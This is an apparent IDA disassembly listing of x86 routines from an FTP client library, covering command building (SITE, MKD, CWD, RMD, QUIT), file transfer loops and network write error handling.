sub_42F110 proc near ; CODE XREF: sub_42F040+23p
; sub_42F2C0+28p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_8]
push esi
xor esi, esi
xor al, al
mov ecx, [ebp+18h]
push edi
cmp ecx, 2
jz short loc_42F12C
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42F12C: ; CODE XREF: sub_42F110+12j
mov ecx, [esp+10h+arg_4]
mov edi, [ebp+14h]
xor ebx, ebx
test ecx, ecx
jle loc_42F254
loc_42F13D: ; CODE XREF: sub_42F110+AFj
mov ecx, [esp+10h+arg_0]
cmp byte ptr [ebx+ecx], 0Ah
jnz short loc_42F17E
cmp al, 0Dh
jz short loc_42F17E
cmp esi, 2000h
jnz short loc_42F179
push ebp
call sub_42E170
add esp, 4
test eax, eax
jz short loc_42F1DA
mov edx, [ebp+8]
push 0
push esi
push edi
push edx
call sub_4381F6
; ---------------------------------------------------------------------------
mov esi, eax
cmp esi, 2000h
jnz short loc_42F1E1
xor esi, esi
loc_42F179: ; CODE XREF: sub_42F110+41j
mov byte ptr [edi+esi], 0Dh
inc esi
loc_42F17E: ; CODE XREF: sub_42F110+35j
; sub_42F110+39j
cmp esi, 2000h
jnz short loc_42F1AC
push ebp
call sub_42E170
add esp, 4
test eax, eax
jz short loc_42F1DA
mov eax, [ebp+8]
push 0
push esi
push edi
push eax
call sub_4381F6
; ---------------------------------------------------------------------------
mov esi, eax
cmp esi, 2000h
jnz short loc_42F201
xor esi, esi
loc_42F1AC: ; CODE XREF: sub_42F110+74j
mov ecx, [esp+10h+arg_0]
inc esi
mov al, [ebx+ecx]
mov ecx, [esp+10h+arg_4]
mov [edi+esi-1], al
inc ebx
cmp ebx, ecx
jl loc_42F13D
test esi, esi
jz loc_42F254
push ebp
call sub_42E170
add esp, 4
test eax, eax
jnz short loc_42F221
loc_42F1DA: ; CODE XREF: sub_42F110+4Ej
; sub_42F110+81j
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42F1E1: ; CODE XREF: sub_42F110+65j
nop
call near ptr 77C1F2BCh
mov edx, [eax]
push edx
push esi
push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n"
call near ptr 77C4186Ah
nop
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42F201: ; CODE XREF: sub_42F110+98j
nop
call near ptr 77C1F2BCh
mov eax, [eax]
push eax
push esi
push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n"
call near ptr 77C4186Ah
nop
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42F221: ; CODE XREF: sub_42F110+C8j
mov ecx, [ebp+8]
push 0
push esi
push edi
push ecx
call sub_4381F6
; ---------------------------------------------------------------------------
dw 0F88Bh
dd 2074FE3Bh, 82E890h, 108B777Fh, 0AC685752h, 90004475h
dd 812621E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------
loc_42F254: ; CODE XREF: sub_42F110+27j
; sub_42F110+B7j
mov eax, [esp+10h+arg_4]
pop edi
pop esi
pop ebp
pop ebx
retn
sub_42F110 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F2C0 proc near ; CODE XREF: sub_401BEFj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+18h]
sub eax, 0
jz short loc_42F33B
dec eax
jz short loc_42F2F0
dec eax
jz short loc_42F2DC
loc_42F2D4: ; CODE XREF: sub_42F2C0+64j
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F2DC: ; CODE XREF: sub_42F2C0+12j
mov eax, [esi+14h]
test eax, eax
jz short loc_42F2F0
push esi
push 0
push 0
call sub_42F110
add esp, 0Ch
loc_42F2F0: ; CODE XREF: sub_42F2C0+Fj
; sub_42F2C0+21j
mov eax, [esi+14h]
push ebx
mov ebx, dword_511AD0
test eax, eax
jz short loc_42F304
push eax
call ebx ; free
add esp, 4
loc_42F304: ; CODE XREF: sub_42F2C0+3Cj
mov eax, [esi+8]
push 2
push eax
call sub_438292
; ---------------------------------------------------------------------------
mov ecx, [esi+8]
push ecx
call sub_4381FC
; ---------------------------------------------------------------------------
mov edi, [esi+1Ch]
push esi
call ebx ; free
add esp, 4
test edi, edi
pop ebx
jz short loc_42F2D4
push edi
push 32h
mov dword ptr [edi+20h], 0
call sub_42DE00
add esp, 8
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F33B: ; CODE XREF: sub_42F2C0+Cj
mov eax, [esi+20h]
test eax, eax
jz short loc_42F352
push esi
mov dword ptr [esi+1Ch], 0
call sub_401BEF
add esp, 4
loc_42F352: ; CODE XREF: sub_42F2C0+80j
mov edx, [esi+8]
push edx
call sub_4381FC
sub_42F2C0 endp
; ---------------------------------------------------------------------------
db 56h
db 90h
db 0E8h, 0B9h, 0CEh
dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h, 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42F3A0: ; CODE XREF: ___:00401CF8j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
pop edi
cmp ecx, 100h
jbe short loc_42F3C9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42F3C9: ; CODE XREF: ___:0042F3C0j
push edx
lea eax, [esp+4]
push offset aSiteS ; "SITE %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F420: ; CODE XREF: ___:004016CCj
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+14h]
push edi
push 32h
push offset aSyst ; "SYST"
call sub_42E490
add esp, 0Ch
test eax, eax
jnz short loc_42F441
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F441: ; CODE XREF: ___:0042F43Cj
mov eax, [esp+10h]
lea ecx, [edi+48h]
lea edx, [eax-1]
test edx, edx
jz short loc_42F45C
loc_42F44F: ; CODE XREF: ___:0042F45Aj
mov al, [ecx]
cmp al, 20h
jz short loc_42F45C
mov [esi], al
inc esi
inc ecx
dec edx
jnz short loc_42F44F
loc_42F45C: ; CODE XREF: ___:0042F44Dj
; ___:0042F453j
mov byte ptr [esi], 0
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F490: ; CODE XREF: ___:00402270j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42F4B9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42F4B9: ; CODE XREF: ___:0042F4B0j
push edx
lea eax, [esp+4]
push offset aMkdS ; "MKD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F510: ; CODE XREF: ___:0040227Fj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42F539
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42F539: ; CODE XREF: ___:0042F530j
push edx
lea eax, [esp+4]
push offset aCwdS ; "CWD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F590: ; CODE XREF: ___:0040178Aj
mov eax, [esp+4]
push eax
push 32h
push offset aCdup ; "CDUP"
call sub_42E490
add esp, 0Ch
neg eax
sbb eax, eax
neg eax
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F5C0: ; CODE XREF: ___:00402220j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42F5E9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42F5E9: ; CODE XREF: ___:0042F5E0j
push edx
lea eax, [esp+4]
push offset aRmdS ; "RMD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F640: ; CODE XREF: ___:00401677j
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+14h]
push edi
push 32h
push offset off_447670
call sub_42E490
add esp, 0Ch
test eax, eax
jnz short loc_42F661
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F661: ; CODE XREF: ___:0042F65Cj
add edi, 44h
push 22h
push edi
nop
call near ptr 77C47660h
add esp, 8
test eax, eax
jnz short loc_42F677
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F677: ; CODE XREF: ___:0042F672j
mov ecx, [esp+10h]
inc eax
lea edx, [ecx-1]
test edx, edx
jz short loc_42F695
loc_42F683: ; CODE XREF: ___:0042F693j
mov cl, [eax]
test cl, cl
jz short loc_42F695
cmp cl, 22h
jz short loc_42F695
mov [esi], cl
inc esi
inc eax
dec edx
jnz short loc_42F683
loc_42F695: ; CODE XREF: ___:0042F681j
; ___:0042F687j ...
mov byte ptr [esi], 0
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F6C0: ; CODE XREF: ___:00401127j
mov eax, [esp+0Ch]
mov ecx, [esp+8]
mov edx, [esp+4]
push 41h
push 1
push eax
push ecx
push edx
call sub_42F6F0
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F6F0 proc near ; CODE XREF: ___:0042F6D3p
; ___:0042F953p ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push ecx
mov eax, [esp+4+arg_0]
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov edi, [esp+14h+arg_10]
cmp eax, ebp
mov [esp+14h+var_4], 1
jz short loc_42F77A
mov esi, [esp+14h+arg_C]
mov cx, word_4476B0
cmp esi, 4
mov word ptr [esp+14h+arg_10], cx
mov word ptr [esp+14h+arg_10+2], bp
jnz short loc_42F72A
mov byte ptr [esp+14h+arg_10], 72h
loc_42F72A: ; CODE XREF: sub_42F6F0+33j
cmp edi, 49h
jnz short loc_42F734
mov byte ptr [esp+14h+arg_10+1], 62h
loc_42F734: ; CODE XREF: sub_42F6F0+3Dj
lea edx, [esp+14h+arg_10]
push edx
push eax
nop
call near ptr 77C3F010h
mov ebx, eax
add esp, 8
cmp ebx, ebp
jnz short loc_42F794
push 100h
call near ptr 77C1F2BCh
nop
mov eax, [eax]
push eax
nop
call near ptr 77C371FAh
mov ecx, [esp+1Ch+arg_8]
add esp, 4
add ecx, 44h
push eax
push ecx
call near ptr 77C47A90h
nop
add esp, 0Ch
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F77A: ; CODE XREF: sub_42F6F0+19j
mov esi, [esp+14h+arg_C]
cmp esi, 4
jnz short loc_42F78B
mov ebx, dword_511A90
jmp short loc_42F794
; ---------------------------------------------------------------------------
loc_42F78B: ; CODE XREF: sub_42F6F0+91j
mov edx, dword_511A90
lea ebx, [edx+20h]
loc_42F794: ; CODE XREF: sub_42F6F0+57j
; sub_42F6F0+99j
mov ecx, [esp+14h+arg_8]
mov edx, [esp+14h+arg_4]
lea eax, [esp+14h+arg_C]
push eax
push ecx
push edi
push esi
push edx
call sub_401F73
add esp, 14h
test eax, eax
jnz short loc_42F7B7
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F7B7: ; CODE XREF: sub_42F6F0+BFj
push 2000h
nop
call near ptr 77C2C407h
add esp, 4
cmp esi, 4
mov edi, eax
jnz short loc_42F82D
mov ebp, dword_511AB0
push ebx
push 2000h
push 1
push edi
call ebp ; fread
mov esi, eax
add esp, 10h
test esi, esi
jle loc_42F883
loc_42F7EA: ; CODE XREF: sub_42F6F0+11Fj
mov eax, [esp+14h+arg_C]
push eax
push esi
push edi
call sub_402216
add esp, 0Ch
cmp eax, esi
jl short loc_42F813
push ebx
push 2000h
push 1
push edi
call ebp ; fread
mov esi, eax
add esp, 10h
test esi, esi
jg short loc_42F7EA
jmp short loc_42F883
; ---------------------------------------------------------------------------
loc_42F813: ; CODE XREF: sub_42F6F0+10Bj
push eax
push esi
push offset aShortWritePass ; "short write: passed %d, wrote %d\n"
nop
call near ptr 77C4186Ah
add esp, 0Ch
mov [esp+14h+var_4], 0
jmp short loc_42F883
; ---------------------------------------------------------------------------
loc_42F82D: ; CODE XREF: sub_42F6F0+DAj
mov ecx, [esp+14h+arg_C]
push ecx
push 2000h
push edi
call sub_40226B
add esp, 0Ch
cmp eax, ebp
jle short loc_42F883
mov esi, dword_511AA0
loc_42F84A: ; CODE XREF: sub_42F6F0+17Dj
push ebx
push eax
push 1
push edi
call esi ; fwrite
add esp, 10h
test eax, eax
jbe short loc_42F871
mov edx, [esp+14h+arg_C]
push edx
push 2000h
push edi
call sub_40226B
add esp, 0Ch
cmp eax, ebp
jg short loc_42F84A
jmp short loc_42F883
; ---------------------------------------------------------------------------
loc_42F871: ; CODE XREF: sub_42F6F0+166j
push offset aLocalfileWrite ; "localfile write"
nop
call near ptr 77C36DF2h
add esp, 4
mov [esp+14h+var_4], ebp
loc_42F883: ; CODE XREF: sub_42F6F0+F4j
; sub_42F6F0+121j ...
push edi
nop
call near ptr 77C2C21Bh
push ebx
nop
call near ptr 77C3EEF6h
mov eax, [esp+1Ch+arg_0]
add esp, 8
test eax, eax
jz short loc_42F8A6
push ebx
call near ptr 77C40AB1h
nop
add esp, 4
loc_42F8A6: ; CODE XREF: sub_42F6F0+1AAj
mov eax, [esp+14h+arg_C]
push eax
call sub_401BEF
mov eax, [esp+18h+var_4]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42F6F0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F940: ; CODE XREF: ___:004016A9j
mov eax, [esp+0Ch]
mov ecx, [esp+8]
mov edx, [esp+4]
push 41h
push 2
push eax
push ecx
push edx
call sub_42F6F0
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F970: ; CODE XREF: ___:00401D43j
sub esp, 108h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
mov ebx, [esp+110h]
push ebp
push esi
push edi
mov edi, ebx
repne scasb
not ecx
add ecx, 6
mov ebp, 1
cmp ecx, 100h
jbe short loc_42F9A7
pop edi
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42F9A7: ; CODE XREF: ___:0042F99Aj
movsx eax, byte ptr [esp+124h]
mov edi, dword_511A6C
push eax
lea ecx, [esp+1Ch]
push offset dword_4474B8
push ecx
call edi ; sprintf
mov esi, [esp+134h]
lea edx, [esp+24h]
push esi
push 32h
push edx
call sub_42E490
add esp, 18h
test eax, eax
jnz short loc_42F9E8
pop edi
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42F9E8: ; CODE XREF: ___:0042F9DBj
push ebx
lea eax, [esp+1Ch]
push offset dword_4476BC
push eax
call edi ; sprintf
push esi
lea ecx, [esp+28h]
push 32h
push ecx
call sub_42E490
add esp, 18h
test eax, eax
jz short loc_42FA44
lea edx, [esp+10h]
lea eax, [esp+14h]
push edx
push eax
add esi, 44h
push offset dword_4476B4
push esi
call near ptr 77C41B72h
nop
add esp, 10h
cmp eax, 2
jnz short loc_42FA44
mov ecx, [esp+120h]
mov edx, [esp+10h]
pop edi
mov eax, ebp
pop esi
pop ebp
mov [ecx], edx
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42FA44: ; CODE XREF: ___:0042FA07j
; ___:0042FA28j
xor ebp, ebp
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FAA0: ; CODE XREF: ___:004013C0j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push edi
mov edi, edx
mov ebx, 1
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
jbe short loc_42FAD0
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42FAD0: ; CODE XREF: ___:0042FAC5j
push esi
push edx
lea eax, [esp+10h]
push offset dword_4476C8
push eax
nop
call near ptr 77C3F931h
mov esi, [esp+128h]
lea ecx, [esp+18h]
push esi
push 32h
push ecx
call sub_42E490
add esp, 18h
test eax, eax
jnz short loc_42FB0B
xor ebx, ebx
pop esi
mov eax, ebx
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42FB0B: ; CODE XREF: ___:0042FAFBj
mov edx, [esp+118h]
mov eax, [esp+114h]
add esi, 48h
push edx
push esi
push eax
call near ptr 77C47A90h
nop
add esp, 0Ch
mov eax, ebx
pop esi
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FB70 proc near ; CODE XREF: sub_4016B3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
arg_C = dword ptr 10h
movsx eax, [esp+arg_8]
mov ecx, [esp+arg_C]
mov edx, [esp+arg_4]
push eax
mov eax, [esp+4+arg_0]
push 3
push ecx
push edx
push eax
call sub_42F6F0
add esp, 14h
retn
sub_42FB70 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FBA0: ; CODE XREF: ___:004016D1j
movsx eax, byte ptr [esp+0Ch]
mov ecx, [esp+10h]
mov edx, [esp+8]
push eax
mov eax, [esp+8]
push 4
push ecx
push edx
push eax
call sub_42F6F0
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FBD0: ; CODE XREF: ___:0040149Cj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push esi
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
ja short loc_42FC69
mov ebx, [esp+114h]
or ecx, 0FFFFFFFFh
mov edi, ebx
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
ja short loc_42FC69
mov esi, dword_511A6C
push edx
lea eax, [esp+10h]
push offset dword_4476E0
push eax
call esi ; sprintf
mov edi, [esp+124h]
lea ecx, [esp+18h]
push edi
push 33h
push ecx
call sub_42E490
add esp, 18h
test eax, eax
jz short loc_42FC69
push ebx
lea edx, [esp+10h]
push offset dword_4476D4
push edx
call esi ; sprintf
push edi
lea eax, [esp+1Ch]
push 32h
push eax
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
pop edi
pop esi
pop ebx
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42FC69: ; CODE XREF: ___:0042FBF1j
; ___:0042FC0Cj ...
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FCB0: ; CODE XREF: ___:00401C7Bj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
pop edi
cmp ecx, 100h
jbe short loc_42FCD9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42FCD9: ; CODE XREF: ___:0042FCD0j
push edx
lea eax, [esp+4]
push offset dword_4476EC
push eax
call near ptr 77C3F931h
nop
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FD30 proc near ; CODE XREF: sub_401D66j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+18h]
test eax, eax
jnz short loc_42FD69
push edi
push esi
push 32h
push offset aQuit ; "QUIT"
call sub_42E490
mov eax, [esi+8]
add esp, 0Ch
push eax
call sub_4381FC
; ---------------------------------------------------------------------------
mov ecx, [esi+14h]
mov edi, dword_511AD0
push ecx
call edi ; free
push esi
call edi ; free
add esp, 8
pop edi
loc_42FD69: ; CODE XREF: sub_42FD30+Aj
pop esi
retn
sub_42FD30 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FD80: ; CODE XREF: ___:004021C1j
push edi
mov edi, [esp+8]
test edi, edi
jnz short loc_42FD90
mov eax, 16h
pop edi
retn
; ---------------------------------------------------------------------------
loc_42FD90: ; CODE XREF: ___:0042FD87j
push 1Ch
nop
call near ptr 77C2C407h
add esp, 4
test eax, eax
jnz short loc_42FDA6
mov eax, 0Ch
pop edi
retn
; ---------------------------------------------------------------------------
loc_42FDA6: ; CODE XREF: ___:0042FD9Dj
mov ecx, 1
mov dword ptr [eax+8], 0
mov dword ptr [eax+0Ch], 0
mov dword ptr [eax+10h], 0
mov [eax+14h], ecx
mov [eax+18h], ecx
mov dword ptr [eax], 0C4C0FFEEh
mov [edi], eax
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FE00: ; CODE XREF: ___:0040151Ej
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42FE19
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FE19: ; CODE XREF: ___:0042FE10j
mov eax, [esi]
mov dword ptr [eax], 0
mov ecx, [esi]
push ecx
nop
call near ptr 77C2C21Bh
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FE50: ; CODE XREF: ___:004012D5j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
mov eax, [esp+0Ch]
jnz short loc_42FE75
test eax, eax
jz short loc_42FE75
mov ecx, [esi]
pop esi
mov edx, [ecx+0Ch]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42FE75: ; CODE XREF: ___:0042FE64j
; ___:0042FE68j
mov dword ptr [eax], 1
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FEA0: ; CODE XREF: ___:004013ACj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42FEB9
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FEB9: ; CODE XREF: ___:0042FEB0j
mov eax, [esp+0Ch]
test eax, eax
jz short loc_42FECD
cmp eax, 1
jz short loc_42FECD
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FECD: ; CODE XREF: ___:0042FEBFj
; ___:0042FEC4j
mov ecx, [esi]
pop esi
mov [ecx+0Ch], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FEF0: ; CODE XREF: ___:00401519j
mov eax, 28h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FF10: ; CODE XREF: ___:00401834j
mov eax, 28h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FF30: ; CODE XREF: ___:00401348j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42FF49
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FF49: ; CODE XREF: ___:0042FF40j
mov eax, [esi]
mov edx, [esp+0Ch]
pop esi
mov ecx, [eax+8]
xor eax, eax
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FF70: ; CODE XREF: ___:00402207j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42FF89
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FF89: ; CODE XREF: ___:0042FF80j
mov eax, [esi]
mov ecx, [esp+0Ch]
pop esi
mov [eax+8], ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FFB0: ; CODE XREF: ___:004019B0j
mov eax, [esp+4]
mov ecx, [eax]
mov eax, [esp+8]
mov edx, [ecx+18h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FFE0: ; CODE XREF: ___:004019ABj
mov eax, [esp+8]
sub eax, 0
jz short loc_430002
dec eax
jz short loc_42FFF2
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_42FFF2: ; CODE XREF: ___:0042FFEAj
mov eax, [esp+4]
mov ecx, [eax]
xor eax, eax
loc_42FFFA: ; DATA XREF: Themida_:00583DB0o
mov dword ptr [ecx+18h], 1
retn
; ---------------------------------------------------------------------------
loc_430002: ; CODE XREF: ___:0042FFE7j
mov eax, 30h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430020: ; CODE XREF: ___:00401C1Cj
push ebx
mov ebx, [esp+8]
push esi
push edi
test ebx, ebx
jz loc_4300BB
mov edi, [esp+18h]
test edi, edi
jz loc_4300BB
push 18h
push 1
call near ptr 77C2C0C3h
nop
mov esi, eax
add esp, 8
test esi, esi
jz short loc_4300B2
mov eax, [esp+14h] ; DATA XREF: ___:off_444E88o
test eax, eax
jz short loc_430060
mov eax, [eax]
test eax, eax
jz short loc_430060
mov eax, [eax]
jmp short loc_430062
; ---------------------------------------------------------------------------
loc_430060: ; CODE XREF: ___:00430054j
; ___:0043005Aj
xor eax, eax
loc_430062: ; CODE XREF: ___:0043005Ej
mov [esi+4], edi
mov [esi], edi
lea edi, [esi+10h]
push 0
push eax
push edi
mov [esi+0Ch], eax
mov dword ptr [esi+8], 0
call sub_401C8A
add esp, 0Ch
test eax, eax
jnz short loc_4300A8
push eax
mov eax, [esi+0Ch]
lea ecx, [esi+14h]
push eax
push ecx
call sub_401C8A
add esp, 0Ch
test eax, eax
jnz short loc_43009F
mov [ebx], esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43009F: ; CODE XREF: ___:00430097j
push edi
call sub_401690
add esp, 4
loc_4300A8: ; CODE XREF: ___:00430082j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_4300B2: ; CODE XREF: ___:0043004Cj
pop edi
pop esi
mov eax, 0Ch
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4300BB: ; CODE XREF: ___:00430029j
; ___:00430035j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430100: ; CODE XREF: ___:0040220Cj
push ebx
push ebp
mov ebp, [esp+0Ch]
push esi
test ebp, ebp
push edi
jz short loc_430168
mov esi, [ebp+0]
test esi, esi
jz short loc_430168
lea ebx, [esi+10h]
mov dword ptr [ebp+0], 0
push ebx
call sub_401690
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_43015E
